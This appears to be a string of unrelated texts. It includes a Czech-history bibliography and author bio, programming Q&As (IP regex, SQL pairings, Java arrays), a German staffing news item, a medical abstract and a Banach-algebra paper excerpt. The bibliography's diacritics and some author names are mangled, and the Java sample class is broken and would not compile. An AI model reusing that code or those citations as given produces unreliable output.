Protokol XII. Rˇádného sjezdu Cˇeskoslovenské sociálneˇ demokratické strany deˇlnické, konaného ve dnech 27., 28., 29. a 30. XII. 1918 v Reprezentacˇním domeˇ v Praze. Prague: Ústrˇední deˇlnické knihkupectví a nakladatelství, 1919.
Protokol XIII. Rˇádného sjezdu Cˇeskoslovenské sociálneˇ demokratické strany deˇlnické, jenž se konal 25.–28. zárˇí 1920 ve Smetanoveˇ síni Obecního domu v Praze. Prague: Nákladem tiskového výboru CˇSDSD, 1920.
Protokoly sjezdu˚ KSCˇ: Ustavující a slucˇovací sjezd KSCˇ roku 1921. Prague: Státní nakladatelství politické literatury, 1958.
Protokol 1. Rˇádného sjezdu Komunistické strany Cˇeskoslovenska 2.–5. února 1923. Prague: Svoboda, 1989.
Protokol 2. Rˇádného sjezdu KSCˇ 31. Rˇíjna–4. listopadu 1924. Prague: Svoboda, 1983.
Protokol 3. Rˇádného sjezdu KSCˇ 26. –28. zárˇí 1925. Prague: Svoboda, 1967.
Protokol 4. Rˇádného sjezdu KSCˇ 25.–28. brˇezna 1927. Prague: Svoboda, 1984.
Protokol 5. Rˇádného sjezdu Komunistické strany Cˇeskoslovenska, frakce Komunistické internacionály. Prague: Svoboda, 1971.
Protokol 6. Rˇádného sjezdu KSCˇ 7.–11. brˇezna 1931. Prague: Svoboda, 1986.
Protokol 7. Rˇádného sjezdu KSCˇ 11.–14. dubna 1936. Prague: Svoboda, 1967.
Protokoll der Verhandlungen des zweiten Parteitages der Deutschen sozialdemokratischen Arbeiterpartei in der Tschechoslowakischen Republik. (Abgehalten vom 3.–7. Oktober 1920 in Karlsbad). Teplitz—Schönen, 1920.
Protokoll der Verhandlungen des Gründungs—Parteitages und der Frauenreichskonferenzder Kommunistischen Partei der Tschechoslowakei (Deutsche Abteilung), Sektion der Kommunistischen Internationale, abgehalten in Reichenberg (Neu Paulsdorf) von 12. März bis zum 15. März 1921. Reichenberg (Liberec): Verlag Runge, 1921.
Prˇehled deˇjin Komunistické strany Cˇeskoslovenska. Prague: Státní nakladatelství politické literatury, 1957.
Prˇehled deˇjin Komunistické strany Cˇeskoslovenska. Prague: Svoboda, 1976.
Reiman, Pavel. Deˇjiny KSCˇ. Prague: Karel Borecký, 1931.
Rataj, Jan. O národní autoritativní stát. Prague: Karolinum, 1998.
Rupel, Dimitrij. "Alernativna gibanja v kulturi." In Zbornik sociološkega srecˇanja Neformalne dejavnosti v slovenski družbi. Ljubljana: Center za družbenopoliticˇno izobraževanje, 1987.
Seifert, Jaroslav. Všecky krásy sveˇta. Prague: Cˇeskoslovenský spisovatel, 1985.
Strana a literatura. Prague: Cˇeskoslovenský spisovatel, 1981.
Svoboda, Jirˇí. Prˇítel Víteˇzslav Nezval. Prague: Cˇeskoslovenský spisovatel, 1966.
alda, František Xaver. Z období Zápisníku. Prague: Odeon, 1987.
olle, Zdeneˇk. "Sociálneˇdemokratická strana do roku 1918." In Prˇehled politického stranictví na území Cˇeských zemí a Cˇeskoslovenska v letech 1861–1998, Pavel Marek et al., 83–93. Olomouc: Katedra politologie a evropských studií FF University Palackého, 2000.
toll, Ladislav. Skutecˇnosti tvárˇí v tvárˇ. Prague: Orbis, 1948.
———. Literatura a kulturní revoluce. Prague: Cˇeskoslovenský spisovatel, 1959.
———. Z boju˚ na Levé fronteˇ. Prague: Nakladatelství politické literatury, 1964.
Taufer, Jirˇí. Víteˇzslav Nezval. Literární studie. Prague: Práce, 1956.
Teige, Karel. Deveˇtsil. Prague: Vecˇernice, 1922.
———. "Manifesty poetismu." In Host 3 (July 1924).
———. Soveˇtská kultura. Prague: Odeon, 1927
———. Surrealismus v diskusi. Prague: Mánes, 1934.
———. Vývojové promeˇny v umeˇní. Prague: NCˇSVU, 1966.
———. Zápas o smysl moderní tvorby. Studie z trˇicátých let. Výbor z díla II. Prague: Cˇeskoslovenský spisovatel, 1969.
Tu˚ma, Jirˇí. Na cesteˇ ke komunistické straneˇ. Liberec: Severocˇeské nakladatelství, 1975.
Urban, Otto. Cˇeská spolecˇnost 1848–1918. Prague: Svoboda, 1982.
Václavek, Bedrˇích. Tvorba a spolecˇnost. Prague: Cˇeskoslovenský spisovatel, 1961.
Ve znamení avantgardy. Prague: Svoboda, 1989.
Weil, Jirˇí. Kulturní práce Soveˇtského Ruska. Prague: Vortel a Rejman, 1924.
Wolker, Jirˇí. Listy prˇíteli. Prague: Cˇeskoslovenský spisovatel, 1951.
Wohlgemuthová, Renata. "Prˇíspeˇvek k deˇjinám Cˇeského anarchistického hnutí v letech 1900–1914." In Rozpravy Akademie veˇd, rocˇník 81, sešit 8. Prague: Academia, 1971.
Založení KSCˇ. Sborník dokumentu˚ z let 1917–1924. Prague: Státní nakladatelství politické literatury, 1954.
Zápotocký, Antonín. Rudá zárˇe nad Kladnem. Prague: Cˇeskoslovenský spisovatel, 1953.
Periodicals
Agitátor 1922–1923
Avantgarda 1925–1926
Cˇerven 1918–1921
Cˇin 1929–1933
Den 1920
Host 1921–1927
Kmen 1918–1920
Komunismus 1922–1923
Komunista 1921–1922 a 1929
Komunistická revue 1924–1933
Levá fronta 1930–1933
Pásmo 1925–1926
Plán 1929–1932
Prˇerod 1924
Pravda Chudaby 1923
Proletkult 1922–1924
Realistická stráž 1921
Revue Deveˇtsilu (ReD) 1927–1929
Reflektor 1925–1929
Ravnost 1924
Rozhledy 1934
Rudé právo 1921–1938
Sociální demokrat 1919–1921
Tam-tam 1925
Tvorba 1927–1938
U Blok 1936–1938
## About the Author
Ladislav Cabada is associate professor of political science, Jean Monnet Chair in European Political Integration History and former chairman of the Department of Political Science and International Relations at the University of West Bohemia in Pilsen/Czech Republic. In 2005–2009 he served as dean at the Faculty of Philosophy and Arts of University of West Bohemia. Since 2006 he has served as president of the Czech Political Science Association. In 2008–2009 he worked for the Czech government as a member of the Advisory Committee for Social Sciences and Humanities of the Council for Research and Development. He is a coeditor of the Politics in Central Europe, The Journal of Central European Political Science Association, and a member of International Editorial Board of Central European Political Science Studies and Central European Journal of International and Security Studies.
Professor Cabada is author of numerous articles, book chapters, and monographs on Czech and Central European politics. In addition to Czech, he also publishes in English, German, and Slovene. Among other works, he is the author of Slovenian Political System (Politický systém Slovinska) and coauthor of Czechoslovakia and Czech Republic in World Politics (with árka Waisová), Political System of Czech Republic (Politický system Cˇeské republiky, with Karel Vodicˇka), and Mixed Electoral Systems (Smíšené volební systémy, with Marek Ženíšek).
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Q:
Приоритеты и последнее вхождение в регулярке
Добрый день!
Пишу небольшое расширение для корпоративного сайта на javascript.
С сайта вытягивается оригинал письма в формате plain/text.
Требуется найти последний ip адрес ИЛИ ip-адрес, который идет после слова unknown, причем, если в письме встречается слово unknown то взять Ip-адрес, который идет сразу после него.
На данный момент имеется такое регулярное выражение:
/[([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})]|.nknown.[([0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3})]/gi
По этой регулярке я получаю только ПЕРВЫЙ ip-адрес. Как найти последнее вхождение в регулярке и реализовать приоритеты поиска?
A:
До конца ваш вопрос не понятен, но предлагаю такой вариант
/(?:.*unknown|.*[^\d]|^)([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/i
Возврат данных идет в 1 группе. Приоритет поиска задан в (?:.*unknown|.*[^\d]|^), то есть сначала идет попытка найти последнее (.*unknown) слово unknown за которым сразу идет ip адрес. Если такой вариант не найден, то идет поиск последнего (.*[^\d]) ip адреса и поиск ip в начале строки (^).
Пример 1 https://regex101.com/r/EEhyIg/4
Пример 2 https://regex101.com/r/EEhyIg/5
Если нужно найти первое вхождение unknownIP или последний IP, то регулярку меняем так
/(?:.*?unknown|.*[^\d]|^)([0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3})/i
Пример 3 https://regex101.com/r/EEhyIg/6
Пример 4 https://regex101.com/r/EEhyIg/7
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Der öffentliche Dienst in Deutschland steuert auf einen großen Fachkräftemängel zu: Bis 2030 wird dort mehr als jeder Dritte der rund 4,7 Millionen Beschäftigten in Rente gehen. Da es den Behörden zugleich an Nachwuchs mangelt, klafft eine Personallücke von über 730.000 Mitarbeitern. Davon entfallen ungefähr 400.000 auf die mittlere Führungsebene, die für die Umsetzung von Zukunftsinitiativen etwa mit Strategien für die Digitalisierung oder den Klimaschutz von besonderer Bedeutung ist.
Diese Erkenntnisse gehören zu den Kernergebnissen der McKinsey-Studie "Die Besten, bitte – wie der öffentliche Sektor als Arbeitgeber punkten kann". Dafür haben die Berater 165 Führungskräfte der öffentlichen Hand befragt und die aktuellsten Personalstatistiken aus Bund und Ländern ausgewertet.
Talente fehlen
Der öffentliche Sektor hat demnach schon jetzt Schwierigkeiten, talentierte Nachwuchskräfte zu gewinnen. Gerade neue Behörden wie die "Zentrale Stelle für Informationstechnik im Sicherheitsbereich" (Zitis) suchen händeringend vor allem IT-Spezialisten. 90 Prozent der Umfrageteilnehmer schätzen diese Entwicklung als "Herausforderung", nur zehn Prozent sind aktuell mit der Personalgewinnung zufrieden. Jeder Dritte räumt ein, dass mittlerweile fast 50 Prozent der Bewerber ein Vertragsangebot ablehnten. 77 Prozent berichten, dass die Top-Studienabsolventen eines Jahrgangs nur selten oder nie in ihrer Organisation anfangen.
72 Prozent der Befragten bemängeln, dass ein klares Wertversprechen in ihrer Organisation fehle oder dass dieses veraltet sei. Dabei wirbt die öffentliche Hand gern mit der Sicherheit des Arbeitsplatzes, dem Nutzen der Tätigkeit für die Allgemeinheit oder einer guten Vereinbarkeit von Familie und Beruf. Offenbar kommt sie damit aber nicht richtig an.
"Unattraktive Arbeitskultur"
31 Prozent der Teilnehmer sagen, dass leitende Mitarbeiter den öffentlichen Sektor verlassen, weil die Arbeitskultur in ihrer derzeitigen Organisation nicht attraktiv ist. Sie vermissen das Arbeiten in wechselnden Teams und nach individuellen Zeiten. Dabei sei die Verwaltung bemüht, innovative und flexible Arbeitsbedingungen anzubieten: 67 Prozent der Befragten gaben an, dass ihre Organisation Teilzeitmodelle als flexible Arbeitsoption anbiete. 51 Prozent erklärten, dass bei ihnen auch Heimarbeit möglich sei.
Offensichtlich greifen diese Initiativen aber noch nicht hinreichend, da sie oft an Formalitäten wie fehlenden Diensthandys oder strengen Vorschriften für Telearbeit scheitern. So müssen Interessenten etwa zunächst den Besuch der "Arbeitssicherheitskommission" über sich ergehen lassen.
Nicht erfüllte Gehaltsvorstellungen sind laut Umfrage der häufigste Grund, warum Nachwuchsführungskräfte in die Privatwirtschaft wechseln. Über 59 Prozent der Befragten gaben an, dass ihre Gehaltsvorstellungen nicht erfüllt würden. 2017 lag das Durchschnittsbruttogehalt beim jüngeren Management im öffentlichen Sektor bei 46.707 Euro, während sich in der Privatwirtschaft etwa als Abteilungsleiter 75.675 Euro machen ließen.
Karrierepfade gefordert
Die "dramatischen" Resultate bezeichnet McKinsey als alarmierend: "Die öffentliche Hand droht handlungsunfähig zu werden." Um die Rekrutierung von Beschäftigten auf der mittleren Führungsebene zu stärken, müssten die Behördenchefs handeln. Dafür nennen die Berater sechs Ansatzpunkte wie ein überzeugendes und auch über digitale Kanäle maßgeschneidert auf Interessenten ausgerichtetes Wertversprechen, das Angebot transparenter und attraktiver Karrierepfade für Leistungsträger, eine inspirierende Arbeitsatmosphäre oder das Angebot attraktiver Weiterbildungsmodelle.
Das Austauschprogramm für Führungskräfte zwischen der Deutschen Bank und dem Bundesinnenministerium führen die Verfasser als ein Beispiel an, wie der Herausforderung rund um eine bessere Bezahlung begegnet werden könnte. Dabei wechseln leitende IT-Mitarbeiter der Deutschen Bank über zwei bis zwölf Monate in den Stab des Innenressort – und umgekehrt. Ausgewählte Behördenprojekte und Linienaufgaben könnten so von langjähriger externer Erfahrung und neuen Perspektiven profitieren. (anw)
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Placement Cell
The Placement Cell pays special attention to students from the above category to help them get suitable jobs. They are given special training on facing interviews and making resume. Job opportunities are shared through WhatsApp group, Facebook and email. Students are also oriented towards use of different job portals.
YCSSW is reputed for its fieldwork training to students. Many reputed employers in Maharashtra know this, which helps YCSSW students in job placements. Around 85 per cent of the Institute’s students are employed; 15 per cent go for higher studies or take break due to personal reasons. Through the Placement Cell, campus interviews are arranged in consultation with reputed NGOs working in Maharashtra. Every year, on an average three to four campus interviews are arranged. Apart from campus interviews, off-campus selections are made through reference and networking. Students are also absorbed by organizations where they go for internship.
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Q:
Read File with structur, show it and write it
I have the following two files (those are language files from a ruby on rails project):
en:
calendar:
check:
invalid_date: 'Date is invalid'
wrong_input_format: "The date should have following format<br/>%{format}"
globals:
yestext: "Yes"
notext: "No"
Second File:
de:
calendar:
check:
invalid_date: 'Datum ist ungültig'
wrong_input_format: "Das Datum muss das folgende Format haben <br/>%{format}"
globals:
yestext: "Ja"
notext: "Nein"
I need a simple WinForms-Application that shows me the file for editing and saving in a Spreedsheet:
What is the best way to realize this?
I am a newbie.
A:
What I would do is probably:
Build a reader class for the files that is reusable for any number of files (languages) and save it in a Dictionary<String,<Dictionary<String,String>>
where it would hold the values: Dictionary<Language,<Dictionary<Key,Value>>
Now walk the outer and inner dictionaries and add the items to a table to show. Find the key in first column, if found add to the column you are currently handling. If not found add a new row at the end.
To save changes I would again write a class that takes care of a single file and save all keys that have a value.
I see there are ' and " used. If that is essential save the type. In that case I would not use String for the value, but create a simple class with the value and String sign.
HINT: This would be much easier using a tree for editing the entries.
In that case you don't have to translate the noded design of the original file and visa versa:
Sample: http://www.codeproject.com/Articles/23746/TreeView-with-Columns but there are many out there.
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{
"pile_set_name": "StackExchange"
}
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Whole-body high-field MRI shows no skeletal muscle degeneration in young patients with recessive myotonia congenita.
Muscle magnetic resonance imaging (MRI) is the most sensitive method in the detection of dystrophic and non-dystrophic abnormalities within striated muscles. We hypothesized that in severe myotonia congenita type Becker muscle stiffness, prolonged transient weakness and muscle hypertrophy might finally result in morphologic skeletal muscle alterations reflected by MRI signal changes. To assess dystrophic and/or non-dystrophic alterations such as fatty or connective tissue replacement and muscle edema in patients with severe recessive myotonia congenita. We studied three seriously affected patients with myotonia congenita type Becker using multisequence whole-body high-field MRI. All patients had molecular genetic testing of the muscle chloride channel gene (CLCN1). Molecular genetic analyses demonstrated recessive CLCN1 mutations in all patients. Two related patients were compound heterozygous for two novel CLCN1 mutations, Q160H and L657P. None of the patients showed skeletal muscle signal changes indicative of fatty muscle degeneration or edema. Two patients showed muscle bulk hypertrophy of thighs and calves in line with the clinical appearance. We conclude that (i) chloride channel dysfunction alone does not result in skeletal muscle morphologic changes even in advanced stages of myotonia congenita, and (ii) MRI skeletal muscle alterations in myotonic dystrophy must be clear consequences of the dystrophic disease process.
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{
"pile_set_name": "PubMed Abstracts"
}
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Q:
How to generate random match-up using round robin system?
given these table Players
| id | name |
+----+----------+
| 1 | tawing |
| 2 | master |
| 3 | pepe |
| 4 | bethel |
| 5 | richard |
matches:
tawing vs master
master vs pepe
master vs bethel
master vs richard....
Here's what I've tried so far
select t1.id
, t1.name
from Players t1
cross apply Players t2
A:
Is this what you are looking for:
select concat(t1.name ,' vs ', t2.name) "Match-up"
from players t1
cross join players t2
where t1.name <> t2.name;
DEMO
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{
"pile_set_name": "StackExchange"
}
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Q:
High performance primitive array builder in Java
I currently use google-or tools to solve a max flow problem, so this has me create a few int[] arrays in java to pass into ortools. Now ortools is very fast and not an issue here but I'm open to performance minded alternatives here.
The problem lies mostly in building the arrays which takes a majority of the time as well as GC when the results are returned from which I chalk up to probably JNI overhead and not much I can do about that. The primitive arrays approach around the 5 - 7 million point mark and they are large enough to require them to be integers, short is not an option. Do I have any options or tricks or does anyone have any insight into how to most efficiently build these? Memory is not really an issue here I have enough that and for the most part I am open to any solution for the absolute bleeding edge performance, even if it requires a different representation of my data but this still must be able to be plugged into Ortools (unless
You have an idea to replace it) but I welcome any suggestions at all regarding how to get the fastest array building out of this. Mind you I don't know the length of the arrays ahead of time, I don't do updates, deletes, only appends. I'm happy to provide anymore details. Thanks for any suggestions.
A:
Too long for a comment.
If building the problem representation takes a lot of time when compared to solving, then you're doing something wrong. I guess, you're using something like
int[] appendTo(int[] array, int element) {
int[] result = Arrays.copyOf(array, array.length + 1);
result[result.length - 1] = element;
return result;
}
which has a quadratic complexity. The solution is similar to what ArrayList does: Grow by some fixed factor and ignore trailing array elements. This mayn't be what you need at the end, but shrinking all arrays once (just before passing them to the library) is cheap.
You could use a class like
class MyIntArray {
private int length;
private int[] data = new data[4];
// This does the final shrinking.
public int[] toArray() {
return Arrays.copyOf(array, length);
}
public MyIntArray append(int element) {
if (array.length == length) {
array = Arrays.copyOf(array, 2 * length);
}
array[length++] = element;
}
}
or misuse the last element of an int[] for tracking the logical length (slightly more efficient, but very hacky).
There are various trade-offs, e.g., you could reduce your growth factor to 1.5 by using length + (length >> 1) instead of 2 * length, start with shorter or longer arrays, or even with an empty array (like ArrayList does; then you'd need to adapt the growth factor as well).
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{
"pile_set_name": "StackExchange"
}
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The Pakistan Cricket Board (PCB) has formed a three-member fact finding committee to probe allegations made by former Te... | Read..
Manchester City goalkeeper Joe Hart goes the other way as Lionel Messi scores Barcelonaís opening goal on Tuesday. Referee Jonas Eriksson showed red card to Cityís Martin Demichelis for the foul on the fellow Argentine. Barcelona won 2-0 to virtually guarantee their place in the quarter finals of the Champions League for the seventh successive season. Dani Alves scored the second in the 90th minute. (Getty Images)
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{
"pile_set_name": "Pile-CC"
}
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---
abstract: 'We investigate the notion of Connes-amenability, introduced by Runde in [@Runde1], for bidual algebras and weighted semigroup algebras. We provide some simplifications to the notion of a $\sigma WC$-virtual diagonal, as introduced in [@Runde2], especially in the case of the bidual of an Arens regular Banach algebra. We apply these results to discrete, weighted, weakly cancellative semigroup algebras, showing that these behave in the same way as C$^*$-algebras with regards Connes-amenability of the bidual algebra. We also show that for each one of these cancellative semigroup algebras $l^1(S,\omega)$, we have that $l^1(S,\omega)$ is Connes-amenable (with respect to the canonical predual $c_0(S)$) if and only if $l^1(S,\omega)$ is amenable, which is in turn equivalent to $S$ being an amenable group. This latter point was first shown by Gr[ö]{}nbæk in [@Gron1], but we provide a unified proof. Finally, we consider the homological notion of injectivity, and show that here, weighted semigroup algebras do not behave like C$^*$-algebras.'
author:
- Matthew Daws
title: '<span style="font-variant:small-caps;">Connes-amenability of bidual and weighted semigroup algebras</span>'
---
*2000 Mathematics Subject Classification:* 22D15, 43A20, 46H25, 46H99 (primary), 46E15, 46M20, 47B47.
Introduction
============
We first fix some notation, following [@Dales]. For a Banach space $E$, we let $E'$ be its dual space, and for $\mu\in E'$ and $x\in E$, we write ${{\langle {\mu} , {x} \rangle}} = \mu(x)$ for notational convenience. We then have the canonical map $\kappa_E:E\rightarrow E''$ defined by ${{\langle {\kappa_E(x)} , {\mu} \rangle}} = {{\langle {\mu} , {x} \rangle}}$ for $\mu\in E',x\in E$. For Banach spaces $E$ and $F$, we write ${\mathcal{B}}(E,F)$ for the Banach space of bounded linear maps between $E$ and $F$. We write ${\mathcal{B}}(E,E) = {\mathcal{B}}(E)$. For $T\in{\mathcal{B}}(E,F)$, the *adjoint* of $T$ is $T'\in{\mathcal{B}}(F',E')$, defined by ${{\langle {T'(\mu)} , {x} \rangle}} =
{{\langle {\mu} , {T(x)} \rangle}}$, for $\mu\in F'$ and $x\in E$.
Let ${\mathcal{A}}$ be a Banach algebra. A *Banach left ${\mathcal{A}}$-module* is a Banach space $E$ together with a bilinear map ${\mathcal{A}}\times E \rightarrow E; (a,x) \mapsto a\cdot x$, such that $\|a\cdot x\|\leq \|a\|\|x\|$ and $a\cdot(b\cdot x)=
ab\cdot x$ for $a,b\in{\mathcal{A}}$ and $x\in E$. Similarly, we have the notion of a *Banach right ${\mathcal{A}}$-module* and a *Banach ${\mathcal{A}}$-bimodule*. If $E$ is a Banach ${\mathcal{A}}$-bimodule (resp. left or right module) then ${\mathcal{A}}'$ is a Banach ${\mathcal{A}}$-bimodule (resp. right or left module) with module action given by $${{\langle {a\cdot\mu} , {x} \rangle}} = {{\langle {\mu} , {x\cdot a} \rangle}}
\qquad {{\langle {\mu\cdot a} , {x} \rangle}} = {{\langle {\mu} , {a\cdot x} \rangle}}
\qquad (a\in{\mathcal{A}}, x\in E).$$ Notice that as ${\mathcal{A}}$ is certainly a bimodule over itself (with module action induced by the algebra product) we also have that ${\mathcal{A}}'$, ${\mathcal{A}}''$ etc. are Banach ${\mathcal{A}}$-bimodules. Given a Banach ${\mathcal{A}}$-bimodule $E$, a subspace $F$ of $E$ is a *submodule* if $a\cdot x, x\cdot a\in F$ for each $a\in{\mathcal{A}}$ and $x\in F$. For Banach ${\mathcal{A}}$-bimodules $E$ and $F$, $T\in{\mathcal{B}}(E,F)$ is an *${\mathcal{A}}$-bimodule homomorphism* when $$a \cdot T(x) = T(a\cdot x) \qquad
T(x) \cdot a = T(x\cdot a) \qquad (a\in{\mathcal{A}}, x\in E).$$
A linear map $d:{\mathcal{A}} \rightarrow E$ between a Banach algebra ${\mathcal{A}}$ and a Banach ${\mathcal{A}}$-bimodule $E$ is a *derivation* if $d(ab) = a \cdot d(b) + d(a)\cdot b$ for $a,b\in{\mathcal{A}}$. For $x\in E$, we define $\delta_x : {\mathcal{A}}\rightarrow E$ by $\delta_x(a) =
a\cdot x-x\cdot a$. Then $\delta_x$ is a derivation, called an *inner derivation*.
A Banach algebra ${\mathcal{A}}$ is said to be *super-amenable* or *contractable* if every bounded derivation $d:{\mathcal{A}}\rightarrow E$, for every Banach ${\mathcal{A}}$-bimodule $E$, is inner. For example, a C$^*$-algebra ${\mathcal{A}}$ is super-amenable if and only if ${\mathcal{A}}$ is finite-dimensional. It is conjectured that there are no infinite-dimensional, super-amenable Banach algebras.
If we restrict to derivations to $E'$ for Banach ${\mathcal{A}}$-bimodules $E$ then we arrive at the notion of *amenability*. For example, a C$^*$-algebra ${\mathcal{A}}$ is amenable if and only if ${\mathcal{A}}$ is nuclear; a group algebra $L^1(G)$ is amenable if and only if the locally compact group $G$ is amenable (which is the motivating example). See [@RundeBook] for further discussions of amenability and related notions.
Let $E$ be a Banach space and $F$ a closed subspace of $E$. Then we naturally, isometrically, identify $F'$ with $E' / F^\circ$, where $$F^\circ = \{ \mu\in E' : {{\langle {\mu} , {x} \rangle}}=0 \ (x\in F) \}.$$
\[dual\_means\] Let $E$ be a Banach space and $E_*$ be a closed subspace of $E'$. Let $\pi_{E_*}: E'' \rightarrow E''/E_*^\circ$ be the quotient map, and suppose that $\pi_{E_*} \circ \kappa_E$ is an isomorphism from $E$ to $E_*'$. Then we say that $E$ is a *dual Banach space* with *predual $E_*$*.
When ${\mathcal{A}}$ is a dual Banach space with predual ${\mathcal{A}}_*$ which is also a submodule of ${\mathcal{A}}'$ we say that ${\mathcal{A}}$ is a *dual Banach algebra*. [$\square$]{}
For a dual Banach algebra ${\mathcal{A}}$ with predual ${\mathcal{A}}_*$, we henceforth identify ${\mathcal{A}}$ with ${\mathcal{A}}_*'$. Thus we get a weak$^*$-topology on ${\mathcal{A}}$, which we denote by $\sigma({\mathcal{A}},{\mathcal{A}}_*)$. It is a simple exercise to show that ${\mathcal{A}}$ is a dual Banach algebra if and only if ${\mathcal{A}}$ is a dual Banach space such that the algebra product is separately $\sigma({\mathcal{A}},{\mathcal{A}}_*)$-continuous (see [@Runde1]). The following lemma is standard.
\[weak\_star\_cts\] Let $E$ and $F$ be dual Banach spaces with preduals $E_*$ and $F_*$ respectively, and let $T\in{\mathcal{B}}(E,F)$. Then the following are equivalent:
1. $T$ is $\sigma(E,E_*) - \sigma(F,F_*)$ continuous;
2. $T'(\kappa_{F_*}(F_*)) \subseteq \kappa_{E_*}(E_*)$;
3. there exists $S\in{\mathcal{B}}(F_*,E_*)$ such that $S'=T$.
[$\square$]{}
As noticed by Runde (see [@Runde1]), there are very few Banach algebras which are both dual and amenable. For von Neumann algebras, which are the motivating example of dual Banach algebras, there is a weaker notion of amenablity, called Connes-amenability, which has a natural generalisation to the case of dual Banach algebras.
Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$. Let $E$ be a Banach ${\mathcal{A}}$-bimodule. Then $E'$ is a *w$^*$-Banach ${\mathcal{A}}$-bimodule* if, for each $\mu\in E'$, the maps $${\mathcal{A}}\rightarrow E',\quad a\mapsto
\begin{cases} a\cdot \mu, \\ \mu\cdot a \end{cases}$$ are $\sigma({\mathcal{A}},{\mathcal{A}}_*) - \sigma(E',E)$ continuous.
Then $({\mathcal{A}},{\mathcal{A}}_*)$ is Connes-amenable if, for each w$^*$-Banach ${\mathcal{A}}$-bimodule $E'$, each derivation $d:{\mathcal{A}}\rightarrow E'$, which is $\sigma({\mathcal{A}},{\mathcal{A}}_*) -
\sigma(E',E)$ continuous, is inner. [$\square$]{}
Given a Banach algebra ${\mathcal{A}}$, we define bilinear maps ${\mathcal{A}}''\times{\mathcal{A}}'\rightarrow{\mathcal{A}}'$ and ${\mathcal{A}}'\times{\mathcal{A}}''\rightarrow{\mathcal{A}}'$ by $${{\langle {\Phi\cdot\mu} , {a} \rangle}} = {{\langle {\Phi} , {\mu\cdot a} \rangle}}
\quad {{\langle {\mu\cdot\Phi} , {a} \rangle}} = {{\langle {\Phi} , {a\cdot\mu} \rangle}}
\qquad (\Phi\in{\mathcal{A}}'', \mu\in{\mathcal{A}}', a\in{\mathcal{A}}).$$ We then define two bilinear maps ${\Box},{\Diamond}:{\mathcal{A}}''\times{\mathcal{A}}''
\rightarrow{\mathcal{A}}''$ by $${{\langle {\Phi{\Box}\Psi} , {\mu} \rangle}} = {{\langle {\Phi} , {\Psi\cdot\mu} \rangle}}
\quad {{\langle {\Phi{\Diamond}\Psi} , {\mu} \rangle}} = {{\langle {\Psi} , {\mu\cdot\Phi} \rangle}}
\qquad (\Phi,\Psi\in{\mathcal{A}}'', \mu\in{\mathcal{A}}').$$ We can check that ${\Box}$ and ${\Diamond}$ are actually algebra products, called the *first* and *second Arens products* respectively. Then $\kappa_A:{\mathcal{A}}\rightarrow{\mathcal{A}}''$ is a homomorphism with respect to either Arens product. When ${\Box}= {\Diamond}$, we say that ${\mathcal{A}}$ is *Arens regular*. In particular, when ${\mathcal{A}}$ is Arens regular, we may check that ${\mathcal{A}}''$ is a dual Banach algebra with predual ${\mathcal{A}}'$.
\[ca\_facts\] Let ${\mathcal{A}}$ be an Arens regular Banach algebra. When ${\mathcal{A}}$ is amenable, ${\mathcal{A}}''$ is Connes-amenable. If ${\kappa_{{\mathcal{A}}}({\mathcal{A}})}$ is an ideal in ${\mathcal{A}}''$ and ${\mathcal{A}}''$ is Connes-amenable, then ${\mathcal{A}}$ is amenable.
Let ${\mathcal{A}}$ be a C$^*$-algebra. Then ${\mathcal{A}}$ is Arens regular, and ${\mathcal{A}}''$ is Connes-amenable if and only if ${\mathcal{A}}$ is amenable.
The first statements are [@Runde1 Corollary 4.3] and [@Runde1 Theorem 4.4]. The statement about C$^*$-algebras is detailed in [@RundeBook Chapter 6].
Another class of Connes-amenable dual Banach algebras is given by Runde in [@Runde4], where it is shown that $M(G)$, the measure algebra of a locally compact group $G$, is amenable if and only if $G$ is amenable.
The organisation of this paper is as follows. Firstly, we study intrinsic characterisations of amenability, recalling a result of Runde from [@Runde2]. We then simplify these conditions in the case of Arens regular Banach algebras. We recall the notion of an *injective* module, and quickly note how Connes-amenability can be phrased in this language. The final section of the paper then applies these ideas to weighted semigroup algebras. We finish with some open questions.
Characterisations of amenability
================================
Let $E$ and $F$ be Banach spaces, and form the algebraic tensor product $E\otimes F$. We can norm $E\otimes F$ with the *projective tensor norm*, defined as $$\|u\|_\pi = \inf\Big\{ \sum_{k=1}^n \|x_k\|\|y_k\| :
u = \sum_{k=1}^n x_k \otimes y_k \Big\}
\qquad (u\in E\otimes F).$$ Then the completion of $(E\otimes F, \|\cdot\|_\pi)$ is $E {{\widehat{\otimes}}}F$, the *projective tensor product* of $E$ and $F$.
Let ${\mathcal{A}}$ be a Banach algebra. Then ${\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}$ is a Banach ${\mathcal{A}}$-bimodule for the module actions given by $$a\cdot (b\otimes c) = ab \otimes c,
\quad (b\otimes c) \cdot a = b\otimes ca
\qquad (a\in{\mathcal{A}}, b\otimes c\in{\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}}).$$ Define $\Delta_{{\mathcal{A}}} : {\mathcal{A}} {{\widehat{\otimes}}}{\mathcal{A}} \rightarrow {\mathcal{A}}$ by $\Delta_{{\mathcal{A}}}(a\otimes b)=ab$. Then $\Delta_{{\mathcal{A}}}$ is an ${\mathcal{A}}$-bimodule homomorphism.
\[when\_amen\] Let ${\mathcal{A}}$ be a Banach algebra. Then the following are equivalent:
1. ${\mathcal{A}}$ is amenable;
2. ${\mathcal{A}}$ has a *virtual diagonal*, which is a functional $M\in ({\mathcal{A}}{{\widehat{\otimes}}}{\mathcal{A}})''$ such that $a\cdot M =M\cdot a$ and $\Delta_{{\mathcal{A}}}''(M) \cdot a = \kappa_{{\mathcal{A}}}(a)$ for each $a\in{\mathcal{A}}$.
[$\square$]{}
Runde introduced, in [@Runde2], the following notion in order to prove a version of the above theorem for Connes-amenability.
Let ${\mathcal{A}}$ be a dual Banach algebra with predual ${\mathcal{A}}_*$, and let $E$ be a Banach ${\mathcal{A}}$-bimodule. Then $x\in \sigma WC(E)$ if and only if the maps ${\mathcal{A}}\rightarrow E$, $$a \mapsto \begin{cases} a\cdot x, \\ x\cdot a \end{cases}$$ are $\sigma({\mathcal{A}},{\mathcal{A}}_*) - \sigma(E,E')$ continuous. [$\square$]{}
